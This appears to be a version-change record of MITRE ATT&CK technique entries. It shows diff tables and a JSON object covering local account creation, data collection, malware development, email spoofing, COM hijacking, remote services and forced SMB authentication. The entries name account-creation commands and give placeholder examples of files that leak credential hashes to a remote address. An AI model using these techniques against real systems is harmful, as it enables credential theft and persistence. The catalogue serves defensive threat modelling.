| > | user /add</code> command can be used to create a local acco | > | user /add</code> command can be used to create a local acco | ||
| > | unt. In Linux, the `useradd` command can be used, while on | > | unt. In Linux, the `useradd` command can be used, while on | ||
| > | macOS systems, the <code>dscl -create</code> command can be | > | macOS systems, the <code>dscl -create</code> command can be | ||
| > | used. Local accounts may also be added to network devices, o | > | used. Local accounts may also be added to network devices, o | ||
| > | ften via common [Network Device CLI](https://attack.mitre.or | > | ften via common [Network Device CLI](https://attack.mitre.or | ||
| > | g/techniques/T1059/008) commands such as <code>username</cod | > | g/techniques/T1059/008) commands such as <code>username</cod | ||
| > | e>, to ESXi servers via `esxcli system account add`, or to K | > | e>, to ESXi servers via `esxcli system account add`, or to K | ||
| > | ubernetes clusters using the `kubectl` utility.(Citation: ci | > | ubernetes clusters using the `kubectl` utility.(Citation: ci | ||
| > | sco_username_cmd)(Citation: Kubernetes Service Accounts Secu | > | sco_username_cmd)(Citation: Kubernetes Service Accounts Secu | ||
| > | rity) Such accounts may be used to establish secondary cred | > | rity) Adversaries may also create new local accounts on net | ||
| > | entialed access that do not require persistent remote access | > | work firewall management consoles \u2013 for example, by exploiti | ||
| > | tools to be deployed on the system. | > | ng a vulnerable firewall management system, threat actors ma | ||
| > | y be able to establish super-admin accounts that could be us | ||||
| > | ed to modify firewall rules and gain further access to the n | ||||
| > | etwork.(Citation: Cyber Security News) Such accounts may be | ||||
| > | used to establish secondary credentialed access that do not | ||||
| > | require persistent remote access tools to be deployed on th | ||||
| > | e system. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may search local system sources, such as file sy | t | 1 | Adversaries may search local system sources, such as file sy |
| > | stems, configuration files, local databases, or virtual mach | > | stems, configuration files, local databases, virtual machine | ||
| > | ine files, to find files of interest and sensitive data prio | > | files, or process memory, to find files of interest and sen | ||
| > | r to Exfiltration. Adversaries may do this using a [Command | > | sitive data prior to Exfiltration. Adversaries may do this | ||
| > | and Scripting Interpreter](https://attack.mitre.org/techniq | > | using a [Command and Scripting Interpreter](https://attack.m | ||
| > | ues/T1059), such as [cmd](https://attack.mitre.org/software/ | > | itre.org/techniques/T1059), such as [cmd](https://attack.mit | ||
| > | S0106) as well as a [Network Device CLI](https://attack.mitr | > | re.org/software/S0106) as well as a [Network Device CLI](htt | ||
| > | e.org/techniques/T1059/008), which have functionality to int | > | ps://attack.mitre.org/techniques/T1059/008), which have func | ||
| > | eract with the file system to gather information.(Citation: | > | tionality to interact with the file system to gather informa | ||
| > | show_run_config_cmd_cisco) Adversaries may also use [Automat | > | tion.(Citation: show_run_config_cmd_cisco) Adversaries may a | ||
| > | ed Collection](https://attack.mitre.org/techniques/T1119) on | > | lso use [Automated Collection](https://attack.mitre.org/tech | ||
| > | the local system. | > | niques/T1119) on the local system. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may develop malware and malware components that | t | 1 | Adversaries may develop malware and malware components that |
| > | can be used during targeting. Building malicious software ca | > | can be used during targeting. Building malicious software ca | ||
| > | n include the development of payloads, droppers, post-compro | > | n include the development of payloads, droppers, post-compro | ||
| > | mise tools, backdoors (including backdoored images), packers | > | mise tools, backdoors (including backdoored images), packers | ||
| > | , C2 protocols, and the creation of infected removable media | > | , C2 protocols, and the creation of infected removable media | ||
| > | . Adversaries may develop malware to support their operation | > | . Adversaries may develop malware to support their operation | ||
| > | s, creating a means for maintaining control of remote machin | > | s, creating a means for maintaining control of remote machin | ||
| > | es, evading defenses, and executing post-compromise behavior | > | es, evading defenses, and executing post-compromise behavior | ||
| > | s.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Cita | > | s.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Cita | ||
| > | tion: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) As | > | tion: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB) Du | ||
| > | with legitimate development efforts, different skill sets m | > | ring malware development, adversaries may intentionally incl | ||
| > | ay be required for developing malware. The skills needed may | > | ude indicators aligned with other known actors in order to m | ||
| > | be located in-house, or may need to be contracted out. Use | > | islead attribution by defenders.(Citation: Olympic Destroyer | ||
| > | of a contractor may be considered an extension of that adver | > | )(Citation: Risky Bulletin Threat actor impersonates FSB APT | ||
| > | sary's malware development capabilities, provided the advers | > | )(Citation: GamaCopy organization) As with legitimate devel | ||
| > | ary plays a role in shaping requirements and maintains a deg | > | opment efforts, different skill sets may be required for dev | ||
| > | ree of exclusivity to the malware. Some aspects of malware | > | eloping malware. The skills needed may be located in-house, | ||
| > | development, such as C2 protocol development, may require ad | > | or may need to be contracted out. Use of a contractor may be | ||
| > | versaries to obtain additional infrastructure. For example, | > | considered an extension of that adversary's malware develop | ||
| > | malware developed that will communicate with Twitter for C2, | > | ment capabilities, provided the adversary plays a role in sh | ||
| > | may require use of [Web Services](https://attack.mitre.org/ | > | aping requirements and maintains a degree of exclusivity to | ||
| > | techniques/T1583/006).(Citation: FireEye APT29) | > | the malware. Some aspects of malware development, such as C | ||
| > | 2 protocol development, may require adversaries to obtain ad | ||||
| > | ditional infrastructure. For example, malware developed that | ||||
| > | will communicate with Twitter for C2, may require use of [W | ||||
| > | eb Services](https://attack.mitre.org/techniques/T1583/006). | ||||
| > | (Citation: FireEye APT29) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may fake, or spoof, a sender\u2019s identity by modif | t | 1 | Adversaries may fake, or spoof, a sender\u2019s identity by modif |
| > | ying the value of relevant email headers in order to establi | > | ying the value of relevant email headers in order to establi | ||
| > | sh contact with victims under false pretenses.(Citation: Pro | > | sh contact with victims under false pretenses.(Citation: Pro | ||
| > | ofpoint TA427 April 2024) In addition to actual email conten | > | ofpoint TA427 April 2024) In addition to actual email conten | ||
| > | t, email headers (such as the FROM header, which contains th | > | t, email headers (such as the FROM header, which contains th | ||
| > | e email address of the sender) may also be modified. Email c | > | e email address of the sender) may also be modified. Email c | ||
| > | lients display these headers when emails appear in a victim' | > | lients display these headers when emails appear in a victim' | ||
| > | s inbox, which may cause modified emails to appear as if the | > | s inbox, which may cause modified emails to appear as if the | ||
| > | y were from the spoofed entity. This behavior may succeed | > | y were from the spoofed entity. This behavior may succeed | ||
| > | when the spoofed entity either does not enable or enforce id | > | when the spoofed entity either does not enable or enforce id | ||
| > | entity authentication tools such as Sender Policy Framework | > | entity authentication tools such as Sender Policy Framework | ||
| > | (SPF), DomainKeys Identified Mail (DKIM), and/or Domain-base | > | (SPF), DomainKeys Identified Mail (DKIM), and/or Domain-base | ||
| > | d Message Authentication, Reporting and Conformance (DMARC). | > | d Message Authentication, Reporting and Conformance (DMARC). | ||
| > | (Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC- | > | (Citation: Cloudflare DMARC, DKIM, and SPF)(Citation: DMARC- | ||
| > | overview)(Citation: Proofpoint-DMARC) Even if SPF and DKIM a | > | overview)(Citation: Proofpoint-DMARC) Even if SPF and DKIM a | ||
| > | re configured properly, spoofing may still succeed when a do | > | re configured properly, spoofing may still succeed when a do | ||
| > | main sets a weak DMARC policy such as `v=DMARC1; p=none; fo= | > | main sets a weak DMARC policy such as `v=DMARC1; p=none; fo= | ||
| > | 1;`. This means that while DMARC is technically present, ema | > | 1;`. This means that while DMARC is technically present, ema | ||
| > | il servers are not instructed to take any filtering action w | > | il servers are not instructed to take any filtering action w | ||
| > | hen emails fail authentication checks.(Citation: Proofpoint | > | hen emails fail authentication checks.(Citation: Proofpoint | ||
| > | TA427 April 2024)(Citation: ic3-dprk) Adversaries may abuse | > | TA427 April 2024)(Citation: ic3-dprk) Adversaries may abuse | ||
| > | absent or weakly configured SPF, SKIM, and/or DMARC policie | > | Microsoft 365\u2019s Direct Send functionality to spoof internal | ||
| > | s to conceal social engineering attempts(Citation: ic3-dprk) | > | users by using internal devices like printers to send email | ||
| > | such as [Phishing](https://attack.mitre.org/techniques/T156 | > | s without authentication.(Citation: Barnea DirectSend) Adver | ||
| > | 6). They may also leverage email spoofing for [Impersonation | > | saries may also abuse absent or weakly configured SPF, SKIM, | ||
| > | ](https://attack.mitre.org/techniques/T1656) of legitimate e | > | and/or DMARC policies to conceal social engineering attempt | ||
| > | xternal individuals and organizations, such as journalists a | > | s(Citation: ic3-dprk) such as [Phishing](https://attack.mitr | ||
| > | nd academics.(Citation: ic3-dprk) | > | e.org/techniques/T1566). They may also leverage email spoofi | ||
| > | ng for [Impersonation](https://attack.mitre.org/techniques/T | ||||
| > | 1656) of legitimate external individuals and organizations, | ||||
| > | such as journalists and academics.(Citation: ic3-dprk) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence by executing malicious | t | 1 | Adversaries may establish persistence by executing malicious |
| > | content triggered by hijacked references to Component Objec | > | content triggered by hijacked references to Component Objec | ||
| > | t Model (COM) objects. COM is a system within Windows to ena | > | t Model (COM) objects. COM is a system within Windows to ena | ||
| > | ble interaction between software components through the oper | > | ble interaction between software components through the oper | ||
| > | ating system.(Citation: Microsoft Component Object Model) R | > | ating system.(Citation: Microsoft Component Object Model) R | ||
| > | eferences to various COM objects are stored in the Registry. | > | eferences to various COM objects are stored in the Registry. | ||
| > | Adversaries can use the COM system to insert malicious co | > | Adversaries may use the COM system to insert malicious co | ||
| > | de that can be executed in place of legitimate software thro | > | de that can be executed in place of legitimate software thro | ||
| > | ugh hijacking the COM references and relationships as a mean | > | ugh hijacking the COM references and relationships as a mean | ||
| > | s for persistence. Hijacking a COM object requires a change | > | s for persistence. Hijacking a COM object requires a change | ||
| > | in the Registry to replace a reference to a legitimate syste | > | in the Registry to replace a reference to a legitimate syste | ||
| > | m component which may cause that component to not work when | > | m component which may cause that component to not work when | ||
| > | executed. When that system component is executed through nor | > | executed. When that system component is executed through nor | ||
| > | mal system operation the adversary's code will be executed i | > | mal system operation the adversary's code will be executed i | ||
| > | nstead.(Citation: GDATA COM Hijacking) An adversary is likel | > | nstead.(Citation: GDATA COM Hijacking) An adversary is likel | ||
| > | y to hijack objects that are used frequently enough to maint | > | y to hijack objects that are used frequently enough to maint | ||
| > | ain a consistent level of persistence, but are unlikely to b | > | ain a consistent level of persistence, but are unlikely to b | ||
| > | reak noticeable functionality within the system as to avoid | > | reak noticeable functionality within the system as to avoid | ||
| > | system instability that could lead to detection. | > | system instability that could lead to detection. One varia | ||
| > | tion of COM hijacking involves abusing Type Libraries (TypeL | ||||
| > | ibs), which provide metadata about COM objects, such as thei | ||||
| > | r interfaces and methods. Adversaries may modify Registry ke | ||||
| > | ys associated with TypeLibs to redirect legitimate COM objec | ||||
| > | t functionality to malicious scripts or payloads. Unlike tra | ||||
| > | ditional COM hijacking, which commonly uses local DLLs, this | ||||
| > | variation may leverage the \"script:\" moniker to execute rem | ||||
| > | ote scripts hosted on external servers.(Citation: RELIAQUEST | ||||
| > | ) This approach enables stealthy execution of code while mai | ||||
| > | ntaining persistence, as the remote payload would be automat | ||||
| > | ically downloaded whenever the hijacked COM object is access | ||||
| > | ed. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage external-facing remote services to | t | 1 | Adversaries may leverage external-facing remote services to |
| > | initially access and/or persist within a network. Remote ser | > | initially access and/or persist within a network. Remote ser | ||
| > | vices such as VPNs, Citrix, and other access mechanisms allo | > | vices such as VPNs, Citrix, and other access mechanisms allo | ||
| > | w users to connect to internal enterprise network resources | > | w users to connect to internal enterprise network resources | ||
| > | from external locations. There are often remote service gate | > | from external locations. There are often remote service gate | ||
| > | ways that manage connections and credential authentication f | > | ways that manage connections and credential authentication f | ||
| > | or these services. Services such as [Windows Remote Manageme | > | or these services. Services such as [Windows Remote Manageme | ||
| > | nt](https://attack.mitre.org/techniques/T1021/006) and [VNC] | > | nt](https://attack.mitre.org/techniques/T1021/006) and [VNC] | ||
| > | (https://attack.mitre.org/techniques/T1021/005) can also be | > | (https://attack.mitre.org/techniques/T1021/005) can also be | ||
| > | used externally.(Citation: MacOS VNC software for Remote Des | > | used externally.(Citation: MacOS VNC software for Remote Des | ||
| > | ktop) Access to [Valid Accounts](https://attack.mitre.org/t | > | ktop) Access to [Valid Accounts](https://attack.mitre.org/t | ||
| > | echniques/T1078) to use the service is often a requirement, | > | echniques/T1078) to use the service is often a requirement, | ||
| > | which could be obtained through credential pharming or by ob | > | which could be obtained through credential pharming or by ob | ||
| > | taining the credentials from users after compromising the en | > | taining the credentials from users after compromising the en | ||
| > | terprise network.(Citation: Volexity Virtual Private Keylogg | > | terprise network.(Citation: Volexity Virtual Private Keylogg | ||
| > | ing) Access to remote services may be used as a redundant or | > | ing) Access to remote services may be used as a redundant or | ||
| > | persistent access mechanism during an operation. Access ma | > | persistent access mechanism during an operation. Access ma | ||
| > | y also be gained through an exposed service that doesn\u2019t req | > | y also be gained through an exposed service that doesn\u2019t req | ||
| > | uire authentication. In containerized environments, this may | > | uire authentication. In containerized environments, this may | ||
| > | include an exposed Docker API, Kubernetes API server, kubel | > | include an exposed Docker API, Kubernetes API server, kubel | ||
| > | et, or web application such as the Kubernetes dashboard.(Cit | > | et, or web application such as the Kubernetes dashboard.(Cit | ||
| > | ation: Trend Micro Exposed Docker Server)(Citation: Unit 42 | > | ation: Trend Micro Exposed Docker Server)(Citation: Unit 42 | ||
| > | Hildegard Malware) | > | Hildegard Malware) Adversaries may also establish persisten | ||
| > | ce on network by configuring a Tor hidden service on a compr | ||||
| > | omised system. Adversaries may utilize the tool `ShadowLink` | ||||
| > | to facilitate the installation and configuration of the Tor | ||||
| > | hidden service. Tor hidden service is then accessible via t | ||||
| > | he Tor network because `ShadowLink` sets up a .onion address | ||||
| > | on the compromised system. `ShadowLink` may be used to forw | ||||
| > | ard any inbound connections to RDP, allowing the adversaries | ||||
| > | to have remote access.(Citation: The BadPilot campaign) Adv | ||||
| > | ersaries may get `ShadowLink` to persist on a system by masq | ||||
| > | uerading it as an MS Defender application.(Citation: Russian | ||||
| > | threat actors dig in, prepare to seize on war fatigue) |
file[:]//[remote address]/Normal.dotm to trigger the SMB request.(Citation: US-CERT APT Energy Oct 2017)\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\[remote address]\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.(Citation: US-CERT APT Energy Oct 2017)\n\nAlternatively, by leveraging the EfsRpcOpenFileRaw function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of EfsRpcOpenFileRaw function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of a NTLM relay attack to gain access to remote systems on the same internal network.(Citation: Rapid7)(Citation: GitHub)\n\n",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1187",
"external_id": "T1187"
},
{
"source_name": "Rapid7",
"description": "Condon, Caitlin. (2022, April 24). PetitPotam: Novel Attack Chain Can Fully Compromise Windows Domains. Retrieved May 30, 2025.",
"url": "https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/"
},
{
"source_name": "Cylance Redirect to SMB",
"description": "Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017.",
"url": "https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf"
},
{
"source_name": "GitHub Hashjacking",
"description": "Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017.",
"url": "https://github.com/hob0/hashjacking"
},
{
"source_name": "Microsoft Managing WebDAV Security",
"description": "Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20100210125749/https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx"
},
{
"source_name": "Osanda Stealing NetNTLM Hashes",
"description": "Osanda Malith Jayathissa. (2017, March 24). Places of Interest in Stealing NetNTLM Hashes. Retrieved January 26, 2018.",
"url": "https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/"
},
{
"source_name": "Didier Stevens WebDAV Traffic",
"description": "Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017.",
"url": "https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/"
},
{
"source_name": "GitHub",
"description": "topotam. (2021, July 18). PetitPotam. PoC tool to coerce Windows hosts to authenticate to other machines. Retrieved May 30, 2025.",
"url": "https://github.com/topotam/PetitPotam"
},
{
"source_name": "US-CERT APT Energy Oct 2017",
"description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
"url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
},
{
"source_name": "Wikipedia Server Message Block",
"description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.",
"url": "https://en.wikipedia.org/wiki/Server_Message_Block"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Teodor Cimpoesu",
"Sudhanshu Chauhan, @Sudhanshu_C",
"Jiraput Thamsongkrah",
"Purinut Wongwaiwuttiguldej",
"Natthawut Saexu"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Access\", \"Network Traffic: Network Traffic Flow\", \"File: File Modification\", \"File: File Creation\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:16.134000+00:00\", \"old_value\": \"2025-04-15 22:36:48.417000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\\n\\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system.(Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\\n\\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV Traffic)(Citation: Microsoft Managing WebDAV Security)\\n\\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource, it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary-controlled server.(Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials.(Citation: Cylance Redirect to SMB)\\n\\nThere are several different ways this can occur.(Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\\n\\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request.(Citation: US-CERT APT Energy Oct 2017)\\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\\\\\[remote address]\\\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.(Citation: US-CERT APT Energy Oct 2017)\\n\\nAlternatively, by leveraging the EfsRpcOpenFileRaw function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of EfsRpcOpenFileRaw function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of a NTLM relay attack to gain access to remote systems on the same internal network.(Citation: Rapid7)(Citation: GitHub)\\n\\n\", \"old_value\": \"Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\\n\\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\\n\\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\\n\\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)\\n\\nThere are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\\n\\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\\\\\[remote address]\\\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)\", \"diff\": \"--- \\n+++ \\n@@ -1,12 +1,15 @@\\n Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\\n \\n-The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\\n+The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system.(Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\\n \\n-Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\\n+Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.(Citation: Didier Stevens WebDAV Traffic)(Citation: Microsoft Managing WebDAV Security)\\n \\n-Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)\\n+Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource, it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary-controlled server.(Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials.(Citation: Cylance Redirect to SMB)\\n \\n-There are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\\n+There are several different ways this can occur.(Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\\n \\n-* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\\n-* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\\\\\[remote address]\\\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)\\n+* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request.(Citation: US-CERT APT Energy Oct 2017)\\n+* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\\\\\[remote address]\\\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.(Citation: US-CERT APT Energy Oct 2017)\\n+\\n+Alternatively, by leveraging the EfsRpcOpenFileRaw function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of EfsRpcOpenFileRaw function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of a NTLM relay attack to gain access to remote systems on the same internal network.(Citation: Rapid7)(Citation: GitHub)\\n+\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\\n\\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\\n-\\n-Monitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Rapid7\", \"description\": \"Condon, Caitlin. (2022, April 24). PetitPotam: Novel Attack Chain Can Fully Compromise Windows Domains. Retrieved May 30, 2025.\", \"url\": \"https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/\"}, \"root['external_references'][7]\": {\"source_name\": \"GitHub\", \"description\": \"topotam. (2021, July 18). PetitPotam. PoC tool to coerce Windows hosts to authenticate to other machines. Retrieved May 30, 2025.\", \"url\": \"https://github.com/topotam/PetitPotam\"}, \"root['x_mitre_contributors'][2]\": \"Jiraput Thamsongkrah\", \"root['x_mitre_contributors'][3]\": \"Purinut Wongwaiwuttiguldej\", \"root['x_mitre_contributors'][4]\": \"Natthawut Saexu\"}}",
"previous_version": "1.3",
"version_change": "1.3 \u2192 1.4",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gather credential material by invoking or fo | t | 1 | Adversaries may gather credential material by invoking or fo |
| > | rcing a user to automatically provide authentication informa | > | rcing a user to automatically provide authentication informa | ||
| > | tion through a mechanism in which they can intercept. The S | > | tion through a mechanism in which they can intercept. The S | ||
| > | erver Message Block (SMB) protocol is commonly used in Windo | > | erver Message Block (SMB) protocol is commonly used in Windo | ||
| > | ws networks for authentication and communication between sys | > | ws networks for authentication and communication between sys | ||
